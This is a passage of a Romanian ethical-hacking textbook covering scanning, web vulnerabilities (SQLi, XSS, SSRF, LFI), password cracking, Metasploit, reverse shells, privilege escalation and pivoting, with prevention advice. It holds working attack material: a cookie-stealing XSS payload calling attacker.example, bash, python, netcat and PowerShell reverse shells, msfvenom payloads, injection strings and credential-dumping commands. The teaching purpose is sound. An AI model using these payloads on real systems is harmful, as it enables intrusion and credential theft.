nmap -T2 -Pn -f 10.0.0.5 # lent, fără ping, fragmentare pachete
nmap -D RND:10 10.0.0.5 # decoy (adrese false sursă)
nmap -S 1.2.3.4 -e eth0 ... # spoofing sursă (necesită control rutare)
```

Regula practică: în testele autorizate folosești scanări complete și lente pe porturi deschise; tehnicile de evaziune sunt pentru exerciții specifice și au valoare redusă dacă riști să pierzi date sau să declanșezi incidente.

### 13.6 Interpretarea rezultatelor

Un rezultat `80/tcp open http nginx 1.24.0` îți spune exact ce să cauți mai departe: versiunea nginx are CVE cunoscute? Ce aplicație stă în spate? Ce scripturi NSE http\* sunt relevante? **Scanarea fără interpretare este zgomot** — fiecare port deschis trebuie transformat într-un pas de enumerare.

## Capitolul 14. Enumerarea serviciilor de rețea

### 14.1 De ce enumerăm

Nmap spune ce port e deschis; enumerarea spune **ce conține** serviciul: utilizatori, share-uri, directoare, versiuni exacte, configurații slabe. Enumerarea produce "faptele" pe care se sprijină exploatarea.

### 14.2 SMB/NetBIOS (Windows în rețea)

```
enum4linux -a 10.0.0.5 # utilizatori, share-uri, politici
smbclient -L //10.0.0.5/ -N # listare share-uri fără parolă
smbmap -H 10.0.0.5 # acces la share-uri
nmap --script smb-enum-users,smb-enum-shares -p445 10.0.0.5
crackmapexec smb 10.0.0.0/24 # descoperire + validare credențiale
```

Share-uri cu acces anonim, sesiuni NULL și parole slabe sunt clasice în rețelele interne.

### 14.3 SSH, SNMP, SMTP, LDAP

```
ssh -oKexAlgorithms+=diffie-hellman-group1-sha1 user@10.0.0.5 # test algoritmi slabi
snmpwalk -v2c -c public 10.0.0.5 # comunitate default = scurgere de informații
smtp-user-enum -M VRFY -u users.txt 10.0.0.5 # enumerare utilizatori mail
ldapsearch -x -H ldap://10.0.0.5 -b "dc=corp,dc=local" # enumerare AD
```

### 14.4 RDP și servicii de la distanță

```
nmap --script rdp-enum-encryption -p3389 10.0.0.5
rdesktop 10.0.0.5 # client RDP
```

Un RDP expus public cu parole slabe = poartă deschisă spre rețeaua internă (atacuri BlueKeep/CVE la versiuni vechi, credential stuffing, RDP brute force).

## Capitolul 15. Enumerarea aplicațiilor web

### 15.1 Descoperirea directoarelor și fișierelor

```
# ffuf – rapid, modern
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.0.0.5/FUZZ -mc
200,301,302,401,403
# gobuster – clasic
gobuster dir -u http://10.0.0.5 -w wordlist.txt -x php,txt,bak -t 50
# dirsearch – specializat pe web
dirsearch -u http://10.0.0.5 -e php,html,bak,txt
```

Fișiere interesante: `backup.zip`, `config.php.bak`, `.git/HEAD`, `.env`, `admin/`, `phpinfo.php`, `server-status`, `wp-login.php`.

### 15.2 Descoperirea parametrilor și endpoint-urilor

Aplicațiile moderne (SPA, API) au zeci de endpoint-uri invizibile în HTML. Surse: fișiere JavaScript (`/static/js/app.js`), `swagger.json`, `openapi.yaml`, `graphql`. Aruncă un ochi pe codul JS cu:

```
curl -s http://10.0.0.5/js/app.js | grep -oE '"/api/[^\"]*"' | sort -u
```

### 15.3 Identificarea CMS-urilor

```
# WordPress
wpscan --url http://10.0.0.5 --enumerate u,vp
# Generic
whatweb http://10.0.0.5
# Drupal / Joomla au propriile enumeratoare (droopescan, joomscan)
```

WordPress vulnerabil = pluginuri/theme-uri vechi, enumerare utilizatori prin `?author=1`, wp-login fără protecție la brute force.

### 15.4 Virtual hosting și subdomenii

Mulți servere răspund diferit în funcție de header-ul `Host`. Dacă IP-ul găzduiește mai multe site-uri, trebuie să le descoperi pe toate:

```
ffuf -w vhosts.txt -u http://10.0.0.5 -H "Host: FUZZ.example.com" -fs 1234
# -fs = filtrează după dimensiunea răspunsului implicit
```

### 15.5 Verificarea metodelor HTTP și a fișierelor standard

```
curl -X OPTIONS -i http://10.0.0.5/ # ce metode sunt permise?
curl -X PUT -d "test" http://10.0.0.5/test.txt # se poate scrie? (test autorizat!)
curl http://10.0.0.5/robots.txt
curl http://10.0.0.5/sitemap.xml
curl http://10.0.0.5/.well-known/security.txt
```

**Regula de aur a enumerării:** fiecare descoperire generează întrebări noi. Nu te opri la prima listă de fișiere — urmărește fiecare fir până la capăt, pentru că acolo se ascund vulnerabilitățile reale.

## PARTEA A VI-A — VULNERABILITĂȚI WEB (OWASP TOP 10)

## Capitolul 16. Anatomia unei aplicații web

---

### 16.1 Arhitectura tipică

Browser → **server web** (nginx/Apache) → **aplicație** (PHP/Python/Java/Node) → **bază de date** (MySQL/PostgreSQL) și servicii externe. Între browser și server circulă cereri HTTP; serverul păstrează **starea** (sesiunea) printr-un cookie.

### 16.2 Cum gândește un tester web

Fiecare intrare care ajunge din exterior într-o componentă internă este o potențială vulnerabilitate:

- Date din URL (parametri, path, headere, cookie-uri) → procesate de aplicație → **injection**.
- Ieșiri din aplicație → afișate în browser → **XSS**.
- Acțiuni declanșate de browser (cereri cross-site) → **CSRF**.
- Identitatea utilizatorului → verificată insuficient → **IDOR / broken access control**.
- Aplicația accesează alte sisteme pe baza inputului → **SSRF/XXE**.
- Fișiere încărcate/descărcate → **upload flaws / path traversal**.

Mentalitatea corectă: \*"Unde se întâlnește datele mele cu codul lor, acolo se ascunde un bug."\*

### 16.3 Instrumentele de bază

- **Burp Suite (Community/Pro)** — proxy de interceptare, repeater, intruder, scanner.
- **OWASP ZAP** — alternativă open-source cu scanner integrat.
- **curl / httpie** — cereri din terminal.
- **ffuf/gobuster** — fuzzing directoare și parametri.
- **nikto** — scanner web general (zgomotos, pentru orientare rapidă).

Configurarea unui proxy: browser → 127.0.0.1:8080 (Burp/ZAP); adaugă certificatul CA al proxy-ului în browser pentru a vedea HTTPS.

# Capitolul 17. SQL Injection

## 17.1 Ce este

SQL Injection apare când inputul utilizatorului este concatenat direct într-o interogare SQL. Atacatorul "încinde" contextul aplicației și injectează SQL propriu.

```
-- Vulnerabil:
SELECT * FROM users WHERE user='admin' AND pass='xyz'
-- Input malitios: user = ' OR '1'='1
SELECT * FROM users WHERE user='' OR '1'='1' AND pass='xyz' -- autentificare ocolită!
```

## 17.2 Tipuri

- **In-band (UNION):** rezultatele apar direct în pagină. Determină numărul de coloane, apoi extrage date cu `UNION SELECT`.
- **Blind boolean:** pagina răspunde diferit la TRUE/FALSE → extragi date caracter cu caracter.
- **Blind time-based:** folosești `SLEEP()` / `pg\_sleep()` pentru a deduce adevărul după întârziere.
- **Out-of-band:** forțezi serverul să facă cereri DNS/HTTP către tine (ex. în MySQL `LOAD\_FILE`, în MSSQL `xp\_dirtree`).

## 17.3 Testare manuală (pe ținte autorizate/laborator)

```
# Teste de detectare (privește diferențele de răspuns!)
http://10.0.0.5/items.php?id=1
http://10.0.0.5/items.php?id=1'
http://10.0.0.5/items.php?id=1' AND '1'='1 # normal?
http://10.0.0.5/items.php?id=1' AND '1'='2 # diferă? -> injectabil
http://10.0.0.5/items.php?id=1' OR SLEEP(3)-- -
```

## 17.4 Automatizare cu sqlmap

```
sqlmap -u "http://10.0.0.5/items.php?id=1" --batch --dbs
sqlmap -u "http://10.0.0.5/items.php?id=1" -D baza --tables
sqlmap -u "http://10.0.0.5/items.php?id=1" -D baza -T users --dump
sqlmap -u "http://10.0.0.5/items.php?id=1" --os-shell # dacă există privilegii de fișiere
# Pentru cereri complexe (login, POST, CSRF token) se folosește: sqlmap -r request.txt
```

## 17.5 Impact și prevenție

Impact: citirea întregii baze de date (parole, date personale), ocolirea autentificării, iar cu privilegii — scriere fișiere/execuție cod pe server. **Prevenție:** interogări parametrizate (prepared statements) — NU sanitizare prin concatenare; principiul privilegiului minim pentru contul de DB; ascunderea erorilor SQL.

```
# CORECT (Python/psycopg):
cur.execute("SELECT * FROM users WHERE user=%s AND pass=%s", (user, pwd))
# GRESIT:
cur.execute(f"SELECT * FROM users WHERE user='{user}' AND pass='{pwd}'")
```

# Capitolul 18. XSS — Cross-Site Scripting

## 18.1 Ce este

XSS injectează scripturi în pagini văzute de alte victime. Aplicația afișează input nefiltrat; browserul victimei execută JavaScript-ul atacatorului **în contextul site-ului**.

## 18.2 Tipuri

- **Reflected:** payload-ul vine în URL și se reflectă o singură dată (ex. căutare). Necesită victima să dea click pe link.
- **Stored:** payload-ul e salvat pe server (comentariu, profil, mesaj) și executat de toți vizitatorii — cel mai periculos.
- **DOM-based:** vulnerabilitatea e doar în JavaScript-ul paginii (sursă: location.hash, document.write, innerHTML).

## 18.3 Payload-uri de test (laborator!)

```
<script>alert(1)</script>
<img src=x onerror=alert(document.cookie)>
<svg onload=fetch('https://attacker.example/c?'+document.cookie)>
"><script>alert(document.domain)</script>
javascript:alert(1) <!-- în context href= -->
```

## 18.4 Impact real

- Furt de cookie-uri de sesiune (dacă nu sunt HttpOnly) → preluarea contului.
- Efectuarea de acțiuni în numele victimei (schimbare parolă, transferuri).
- Keylogging, phishing in-page, defacement.
- Ocolirea protecțiilor CSRF (dacă nu există, XSS e și mai grav).

## 18.5 Prevenție

- **Output encoding** la fiecare context (HTML, atribut, JavaScript, URL) — librării de tip OWASP Java Encoder / escaper framework.
- **CSP** (Content-Security-Policy) strict, fără 'unsafe-inline'.
- Cookie-uri cu `HttpOnly` + `Secure` + `SameSite`.
- Validare input pe server (allow-list), nu doar în browser.

## Capitolul 19. CSRF, Clickjacking și probleme de configurare

### 19.1 CSRF — falsificarea cererilor cross-site

O aplicație care se bazează doar pe cookie-uri pentru autentificare este vulnerabilă: atacatorul pune pe site-ul lui o imagine/formular care trimite o cerere către aplicația victimei, iar browserul victimei atașează automat cookie-ul de sesiune.

```
<!-- Pagina atacatorului: victima autentificată pe bank.example execută transfer -->

<!-- sau un formular care se trimite singur (POST) -->
<form action="https://bank.example/change_email" method="POST" id="f">
<input name="email" value="evil@example.com">
</form>
<script>document.getElementById('f').submit()</script>
```

**Prevenție:** token CSRF (anti-CSRF) în fiecare formular/cerere, verificat pe server; `SameSite` cookies; verificare header `Origin/Referer`.

### 19.2 Clickjacking

Site-ul victimei este încărcat transparent (iframe) peste o pagină atractivă; victima click-uieste fără să știe pe butoane reale. Prevenție: header `X-Frame-Options: DENY/SAMEORIGIN` sau CSP `frame-ancestors`.

### 19.3 Alte probleme frecvente de configurare

- **Headere lipsă:** HSTS, X-Content-Type-Options: nosniff, CSP.
- **Metode HTTP periculoase:** PUT/DELETE/TRACE permise inutil.
- **Erori verbose:** stack trace-uri, versiuni expuse, debug activ.
- **Fișiere și directoare expuse:** `.git/`, backup-uri, documente interne.
- **Cookie-uri fără flaguri** de securitate.

## Capitolul 20. IDOR și Broken Access Control

### 20.1 Ce este accesul controlat defectuos

Aplicația nu verifică **autorizarea** la fiecare obiect. Orice utilizator logat poate accesa resursele altora doar schimbând un identificator.

### 20.2 Exemple de IDOR

```
GET /profile/1234 -> schimbi 1234 în 1235 și vezi profilul altcuiva  
GET /invoice/INV-2026-07 -> facturi ale altor clienți  
PUT /api/user/me -> modifici "role":"admin" în corpul cererii  
POST /order/delete?id=5 -> ștergi comanda altui utilizator
```

### 20.3 Testare

- Creează două conturi (A și B), loghează-te cu A și încearcă obiectele lui B.
- Schimbă identificatori numerici/UUID-uri, verifică răspunsurile (200 vs 403).
- Testează metodele HTTP diferite pe aceleași URL-uri (GET vs POST vs DELETE).
- Urmărește API-urile JavaScript pentru endpoint-uri de administrare.

### 20.4 Prevenție

Verificări de autorizare pe server la **fiecare** acces la obiect (nu doar ascunderea butoanelor); identificatori neghicibili (UUID) — dar NU te baza doar pe asta; teste automate de autorizare per rol.

## Capitolul 21. Command Injection, LFI/RFI și Path Traversal

### 21.1 Command Injection

Aplicația trimite inputul utilizatorului către un shell de sistem (fără sanitizare). Dacă aplicația rulează cu privilegii mari, obții execuție de cod pe server.

```
# Test (pe laborator): parametru care ajunge într-o comandă de sistem
http://10.0.0.5/ping.php?host=127.0.0.1;id
http://10.0.0.5/ping.php?host=127.0.0.1|whoami
http://10.0.0.5/ping.php?host=$(whoami) # bash
http://10.0.0.5/ping.php?host=127.0.0.1%0aid # newline codat
```

Prevenție: NU apela shell-ul cu input utilizator; dacă e inevitabil, validare strictă pe allow-list + escape corect.

### 21.2 Path Traversal și LFI

Aplicația include fișiere după un nume dat de utilizator, fără a valida calea:

```
GET /view?file=../../../../etc/passwd -> path traversal
GET /view?file=../../../../etc/shadow -> LFI clasic
GET /view?file=php://filter/convert.base64-encode/resource=config.php -> LFI cu PHP filter
GET /view?file=data://text/plain;base64,... -> potențial RCE
```

**LFI → RCE:** prin `data://`, `php://input`, includerea logurilor (`/var/log/auth.log` cu payload injectat în User-Agent) sau prin fișiere de sesiune.

### 21.3 RFI

Include un fișier de pe un server controlat de atacator → execuție cod imediată. Rar azi (allow\_url\_include=Off implicit), dar devastator când apare.

### 21.4 Prevenție

Allow-list de fișiere; normalizarea căilor (rezolvă `..`); interzicerea scheme-urilor de tip stream; principiul privilegiului minim.

## Capitolul 22. SSRF și XXE

### 22.1 SSRF — Server-Side Request Forgery

Aplicația face cereri server-to-server pe baza inputului (import URL, verificare webhook, preview link). Atacatorul îndreaptă serverul către resurse interne:

```
GET /fetch?url=http://169.254.169.254/latest/meta-data/ # metadata cloud AWS
GET /fetch?url=http://127.0.0.1:3306 # scanare servicii interne
GET /fetch?url=file:///etc/passwd # citire fișiere
GET /fetch?url=http://admin.internal:8080/actiune # acces la rețele interne
```

Impact: furt de credențiale cloud (metadata service), scanarea rețelei interne, acces la servicii protejate (către care aplicația are încredere). Prevenție: allow-list de domenii/IP-uri, blocarea IP-urilor private și link-local, fără redirect-uri, autentificare mutuală.

### 22.2 XXE — XML External Entities

Aplicația parsează XML cu entități externe activate. Entitatea poate citi fișiere sau face cereri interne:

```
<!-- Trimis în corpul cererii către un endpoint XML -->
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>
```

Impact: citire fișiere, SSRF, DoS (billion laughs). Prevenție: dezactivează entitățile externe și DTD-urile în parser; preferă JSON.

## Capitolul 23. Autentificare, sesiuni și parole slabe

### 23.1 Slăbiciuni de autentificare

- **Default credentials** neschimbate (admin/admin, root/toor).
- **Brute force** fără limitare de rată sau blocare.
- **Credential stuffing** (parole din alte breșe).
- **Enumerarea utilizatorilor** (mesaje diferite "user inexistent" vs "parolă greșită", timing diferit).
- **Resetare parolă vulnerabilă** (întrebări ghicibile, token slab, token în URL/log).
- **Fără MFA** pentru conturi privilegiate.

```
# Test de parole slabe pe un serviciu din laboratorul tău (NU pe sisteme reale!)
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.0.0.5 http-post-form
"/login:user=^USER^&pass=^PASS^:Invalid"
```

### 23.2 Slăbiciuni de sesiune

- Cookie de sesiune previzibil (increment, timestamp) sau fără `HttpOnly/Secure/SameSite`.
- Sesiune care nu expiră sau nu se invalidează la logout/schimbare parolă.
- Token de sesiune în URL (se scurge prin Referer/loguri).
- Fixation: atacatorul setează un session ID cunoscut, victima se autentifică pe el.

### 23.3 JWT — atenție la implementare

```
JWT = header.payload.sem natura (Base64URL)
Atacuri clasice:
- algoritm "none" -> dacă serverul îl acceptă, falsifici tokenul fără cheie
- RS256 vs HS256 confusion -> semnezi cu cheia publică dacă serverul o folosește ca HMAC secret
- "kid" manipulabil -> path traversal la cheie
- expirare nevalidată
```

Test: modifică payload-ul și algoritmul, trimite tokenul, observă dacă serverul îl acceptă.

### 23.4 Recomandări de apărare

Parole lungi (15+ caractere) + manager de parole; MFA obligatoriu; limitare rată și blocare progresivă; politici de sesiune stricte; logare și alertare la autentificări anormale.

## PARTEA A VII-A — CRIPTOGRAFIE ȘI PAROLE

## Capitolul 24. Hash-uri și spargerea parolelor

### 24.1 Hash vs criptare

- **Hash:** funcție unidirecțională. Din `parola` obții un rezultat de lungime fixă; nu poți "decripta" hash-ul. Pentru parole se folosesc hash-uri lente, cu sare (bcrypt, argon2, scrypt, PBKDF2).
- **Criptare:** bidirecțională, cu cheie. Folosită pentru confidențialitate (date la repaus, TLS).

```
echo -n "parola" | md5sum # 45d82f2afabf46b96dd0e4f8d1f2b0d6 (NU folosi md5 pentru parole!)
echo -n "parola" | sha256sum
# Hash-uri rapide (MD5, SHA1, NTLM) = sparte ușor prin GPU
```

### 24.2 Cum se sparg parolele

1. **Dictionary attack:** testezi cuvinte dintr-o listă (rockyou.txt etc.) hash-uite.
2. **Brute force:** toate combinațiile pe un spațiu dat.
3. **Rule-based / combinator:** aplici reguli (adăugare cifre, anul, substituții: `a->@`, `e->3`).
4. **Rainbow tables / precompute:** rareori utile azi din cauza sării.
5. **Masks:** forțezi structuri cunoscute (`?u?l?l?l?d?d?d?d` pentru Parola1234).

```
# hashcat – atac pe GPU, rapid
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
# -m 0 = MD5; -m 1000 = NTLM; -m 3200 = bcrypt; -m 13100 = Kerberoast
hashcat -m 0 -a 3 '?u?l?l?l?d?d?' # atac cu mască
# john – mai lent, dar versatil (extrage hash-uri din fișiere)
john --wordlist=rockyou.txt hash.txt
john --show hash.txt
```

### 24.3 Formate comune de hash după sistem

| Sistem                       | Algoritm            | Mod hashcat |
|------------------------------|---------------------|-------------|
| Linux /etc/shadow            | sha512crypt (\$6\$) | 1800        |
| Windows (SAM/NTLM)           | NTLM                | 1000        |
| Kerberos (AS-REP/Kerberoast) | etype 23            | 18200/13100 |
| WordPress                    | phpass              | 400         |
| Joomla                       | joomla              | 1100        |
| Cisco                        | type 7 / type 5     | —           |

### 24.4 Extragerea hash-urilor — context corect

Într-un test autorizat, hash-urile se extrag din sistemele din scope pentru a demonstra impactul (ex. un backup cu /etc/shadow, o copie SAM dintr-un share). Instrumente: `unshadow` (Linux), `secretsdump.py` (impacket, Windows/SAM/LSASS), `mimikatz` (doar în laborator Windows al tău).

### 24.5 De ce contează

Parola unui utilizator spartă → acces la cont → escaladare. Din acest motiv: parole lungi și unice, autentificare cu factori multipli, hash-uri lente cu sare. Testele de securitate verifică dacă parolele organizației rezistă la aceste atacuri.

## Capitolul 25. Criptografie simetrică și asimetrică

### 25.1 Criptografie simetrică

Aceeași cheie criptează și decriptează. Rapidă, folosită pentru volume mari de date.

- **AES** (128/256 biți) — standardul modern.
- **ChaCha20** — alternativă rapidă, populară pe mobile/TLS.
- **DES/3DES** — vechi și slabe; de evitat.
- **Moduri de operare:** CBC (necesită IV corect), GCM (autentificat — recomandat), ECB (scurge pattern-uri — de evitat).

### 25.2 Criptografie asimetrică

Pereche de chei: **publică** (distribuită) și **privată** (secretă). Ce criptezi cu una, decriptezi cu cealaltă.

- **RSA** — bazat pe factorizare; chei 2048+ biți.
- **ECC** (Curve25519, P-256) — securitate similară cu chei mult mai mici.
- Folosită pentru: schimb de chei (handshake TLS), semnături digitale, SSH.

### 25.3 TLS și PKI în practică

HTTPS = TLS. Lanțul de încredere: **Certificate Authority (CA)** semnează certificatele serverelor; browserul verifică semnătura până la o rădăcină (root CA) din lista lui de încredere.

```
# Verifică lanțul de certificat și protocoalele suportate
openssl s_client -connect example.com:443 -servername example.com
nmap --script ssl-enum-ciphers -p 443 example.com
# TLS 1.0/1.1, SSLv3, suite slabe (RC4, 3DES) = de raportat
```

Atacuri clasice asupra implementărilor slabe: BEAST, POODLE (SSLv3), Heartbleed (OpenSSL 1.0.1), ROBOT. Toate au fost posibile din cauza versiunilor vechi — **patch management** este și o problemă criptografică.

### 25.4 Greșeli frecvente în implementare

- Chei hardcodate în cod sau repo-uri publice.
- Criptare "personalizată" (inventarea propriului algoritm).
- AES-ECB pentru date structurate (scurge informații prin pattern-uri).
- IV reutilizat (de exemplu în modul CTR) → distrugerea confidențialității.
- Validare incompletă a certificatelor (aplicații care acceptă orice certificat).
- Stocarea parolelor în clar sau cu MD5 fără sare.

### 25.5 Verificarea fișierelor și integrității

```
sha256sum fișier.iso # verifică descărcări
gpg --verify semnatura.asc fișier # semnături GPG
```

Hash-urile și semnăturile sunt fundația încrederii în lanțul de aprovizionare software — de la distribuții Linux până la actualizări de aplicații.

## PARTEA A VIII-A — EXPLOATAREA SISTEMELOR

## Capitolul 26. Vulnerabilități, CVE și Metasploit

### 26.1 Limbajul vulnerabilităților

- **CVE** (Common Vulnerabilities and Exposures) — identificator public: `CVE-an-XXXXX`.
- **CVSS** (Common Vulnerability Scoring System) — scor 0-10 (0-3,9 Low; 4-6,9 Medium; 7-8,9 High; 9-10 Critical) pe baza vectorului (accesibilitate, complexitate, impact CIA, context).
- **CWE** — clasificarea tipului de slăbiciune (ex. CWE-89 = SQL Injection).
- **Exploit-DB / Metasploit / NVD / GitHub** — surse de advisory și exploit-uri.

```
searchsploit apache 2.4.49 # caută exploit-uri locale (Exploit-DB)
# CVE-2021-41773: path traversal + RCE în Apache 2.4.49
```

### 26.2 Metasploit Framework

Cadru modular: **exploit** (codul care declanșează slăbiciunea) + **payload** (ce se execută după) + **auxiliary** (scanare/enumerare/DoS) + **post** (module post-exploatare).

```
msfconsole
# În consolă:
search apache
use exploit/multi/http/apache_normalize_path_rce
set RHOSTS 10.0.0.5
set RPORT 80
set LHOST 10.0.0.10
run
```

### 26.3 Payload-uri cu msfvenom

```
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 -f elf -o shell.elf
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 -f exe -o shell.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=... LPORT=... -f exe -e x86/shikata_ga_nai -i 5
```

**Meterpreter** = payload avansat (in-memory, cu comenzi de post-exploatare: `getuid`, `hashdump`, `migrate`, `shell`, `portfwd`).

### 26.4 Limitările automatizării

Metasploit nu găsește vulnerabilități — aplică exploit-uri cunoscute asupra serviciilor enumerate. Un exploit care "nu merge" nu înseamnă că sistemul e sigur: poate fi o variantă de payload incompatibilă, un patch parțial, un WAF sau o protecție (ASLR/DEP). Testarea manuală rămâne esențială.

## Capitolul 27. Shell-uri și reverse shells

### 27.1 De ce shell-uri

Scopul exploatării este adesea obținerea unui **shell** — o interacțiune cu sistemul compromis. Două variante:

- **Bind shell:** serverul țintei ascultă pe un port; te conectezi tu. Blocat ușor de firewall-uri.
- **Reverse shell:** ținta se conectează înapoi la tine. Ocolește firewall-urile de intrare.

### 27.2 Netcat și variante

```
# Atacant: ascultă
nc -lvp 4444
# Țintă (după o vulnerabilitate de execuție cod):
nc -e /bin/sh 10.0.0.10 4444 # versiuni cu -e (openbsd nc pe țintă)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.10 4444 >/tmp/f # fără -e
# Socat — mai puternic, suportă TLS și pty
socat TCP:10.0.0.10:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
```

### 27.3 Reverse shell-uri clasice (pentru ținte din laborator)

```
# bash
bash -i >& /dev/tcp/10.0.0.10/4444 0>&1
# python3
python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.10",4444
));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i
"]);'
# powershell (Windows)
powershell -nop -c "$c=New-Object
System.Net.Sockets.TCPCClient('10.0.0.10',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i
=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d
2>&1|Out-String);$s.Write([text.encoding]::ASCII.GetBytes($r)),0,$r.Length}"
```

### 27.4 Stabilizarea unui shell (Linux)

```
# În shell-ul primit:
python3 -c 'import pty;pty.spawn("/bin/bash")' # dacă e disponibil
# Apoi în listener-ul tău:
# Ctrl+Z, apoi:
stty raw -echo; fg
export TERM=xterm
```

Fără stabilizare, un reverse shell simplu e fragil (fără tab-completion, Ctrl+C omoară shell-ul, fără job control).

### 27.5 Detectarea și apărarea

Reverse shell-urile sunt detectabile prin: conexiuni ieșite anormale, procese copil ale serverelor web (`/bin/sh` ca fiu al php-fpm), trafic către porturi neobișnuite. EDR și monitoringul egress blochează majoritatea variantelor cunoscute.

## Capitolul 28. Escaladarea privilegiilor în Linux

### 28.1 De ce e necesară

Un web shell rulează de obicei ca `www-data` — limitat. Scopul: **root**. Escaladarea transformă o vulnerabilitate minoră într-un compromis total.

### 28.2 Enumerare automată și manuală

```
# Scripturi de enumerare (rulează-le pe ținta din laboratorul tău)
linpeas.sh # cel mai cunoscut
./LinEnum.sh
uname -a # kernel vechi? -> exploit kernel posibil
cat /etc/os-release
sudo -l # ce poți rula ca sudo FĂRĂ parolă?
find / -perm -4000 2>/dev/null # fișiere SUID
ls -la /etc/cron* /var/spool/cron # joburi cron
cat /etc/crontab
find / -writable 2>/dev/null | head # fișiere/directoare scrise de toți
env | grep -i secret
cat /etc/passwd | grep -v nologin
```

### 28.3 Vectori clasici

- **SUID misconfig:** un binar cu SUID root exploatabil (ex. `find`, `vim`, `python` vechi cu SUID) → execută comenzi ca root.
- **sudo greșit configurat:** poți rula `sudo vim`, `sudo less`, `sudo env` → toate pot deschide shell.
- **Cron joburi:** scripturi root în directoare unde poți scrie; modifici scriptul, aștepti rularea.
- **PATH hijack:** un script root cheamă o comandă fără cale absolută; pui un executabil fals mai devreme în PATH.
- **Servicii interne:** aplicații care ascultă doar pe localhost (ex. un panel admin fără autentificare) — port forward și exploatezi.
- **Credențiale neglijente:** fișiere de configurare cu parole, istoric bash, chei SSH, backup-uri.

```
# Exemplu clasic (laborator): sudo -l arată (root) NOPASSWD: /usr/bin/vim
# -> sudo vim -c '!:sh' deschide un shell root
```

### 28.4 Kernel exploits — prudență maximă

Exploatarea de kernel (DirtyCow, Dirty Pipe, overlayfs) sunt puternice dar **pot destabiliza sistemul**. Pe sisteme de producție se folosesc doar cu acord explicit, după epuizarea vectorilor "murdari" (misconfig, credențiale). Verifică mereu versiunea kernelului și corelează cu CVE-uri.

# Capitolul 29. Escaladarea privilegiilor în Windows

## 29.1 Enumerare rapidă

```
whoami /priv
whoami /groups
systeminfo # caută patch-uri lipsă
wmic qfe list # listă update-uri
net user # conturi
Get-Service | Where-Object {$_.Status -eq "Running"}
Get-ScheduledTask | Select TaskName,RunAs
reg query HKLM\SOFTWARE\... # software instalat (versiuni vechi = exploit)
```

## 29.2 Vectori frecvenți

- **Servicii cu căi neprotejate (unquoted service paths):** `C:\Program Files\My App\run.exe` — Windows încearcă și `C:\Program.exe`, `C:\Program Files\My.exe`; dacă poți scrie în acele locații, pui un executabil malitios.
- **Servicii modificabile:** `icacls` pe executabilul unui serviciu care rulează ca SYSTEM → îl înlocuiești, repornești serviciul.
- **Binare slabe în PATH** (DLL hijacking / binary planting).
- **Token-uri slabe (SelpersonatePrivilege):** exploit-uri "potato" (JuicyPotato, PrintSpoofer) → SYSTEM pe Windows vechi.
- **UAC bypass** (pe mașini unde ai deja cont admin dar UAC blochează).
- **Stored credentials:** `cmdkey /list`, fișiere `cred.xml`, PowerShell history, fișiere de configurare cu parole.

```
cmdkey /list # credențiale salvate
runas /savecred /user:admin cmd # folosește credențiale salvate
Get-ChildItem -Recurse C:\Users\ -Include *.xml,*.txt,*.ini,*.ps1 -ErrorAction SilentlyContinue
```

## 29.3 Dumping de credențiale — doar în laboratorul propriu

- sam dump: reg save hklm\sam + hklm\system, apoi secretsdump.py local
- mimikatz: sekurlsa::logonpasswords (necesită privilegii SYSTEM/administrator)
- Explicație: extrage hash-uri și parole în clar din LSASS

Aceste tehnici sunt esențiale de înțeles pentru apărare: ele explică de ce LSASS este protejat (Credential Guard, PPL) și de ce logarea 4624/4688 contează în detectare.

## 29.4 Post-exploatare discretă

După escaladare: dovedește impactul (citește un fișier protejat, arată `whoami /all`), colectează dovezile necesare raportului și **curăță** orice artefact (fișiere create, servicii, conturi). Nu lăsa backdoor-uri fără cerere explicită.

## Capitolul 30. Mișcare laterală și pivoting

### 30.1 De la o mașină la rețea

O mașină compromisă este o rampă spre restul rețelei (segmentată intern). Mișcarea laterală folosește: credențiale reuse, share-uri SMB, RDP/WinRM, SSH, servicii de management, AD.

### 30.2 Pivoting — ruta prin mașina compromisă

```
# SSH dynamic (SOCKS) prin mașina compromisă (dacă ai SSH pe ea):
ssh -D 1080 user@pivot
# proxychains – toate comenzile trec prin SOCKS:
proxychains nmap -sT -Pn 172.16.5.0/24
proxychains sqlmap -u http://172.16.5.20/admin --batch
# Metasploit: folosește sesiunea meterpreter ca pivot (route add / auto)
route add 172.16.5.0 255.255.255.0 1
# chisel – tunel TCP/UDP simplu, excelent când doar un binariu static e permis
# (pe pivot): ./chisel server -p 9000 --reverse
# (local): ./chisel client pivot:9000 R:8080:172.16.5.20:80
```

### 30.3 Lateral movement cu credențiale

```
crackmapexec smb 172.16.5.0/24 -u admin -H <hashNTLM> # testare hash pe rețea
crackmapexec smb 172.16.5.0/24 -u admin -p parola --shares
evil-winrm -i 172.16.5.20 -u admin -p parola # WinRM shell
psexec.py corp/admin:parola@172.16.5.20 # execuție prin SMB (impacket)
```

### 30.4 Reguli pentru testare etică

Mișcarea laterală este cea mai periculoasă fază (risc de avarie și de acces la date reale). Reguli: oprește-te la limita scope-ului; documentează fiecare pas; nu citi date; folosește cel mai puțin invaziv vector care dovedește accesul.

# PARTEA A IX-A — REȚELE WIRELESS ȘI SOCIAL ENGINEERING

## Capitolul 31. Securitatea rețelelor Wi-Fi

### 31.1 Cum funcționează Wi-Fi

Dispozitivele se asociază cu un Access Point (AP) folosind autentificare și criptare. Standarde de securitate:

- **WEP** — spart în minute; complet nesigur.
- **WPA (TKIP)** — compromis prin atacul Michael/Beck-Tews.
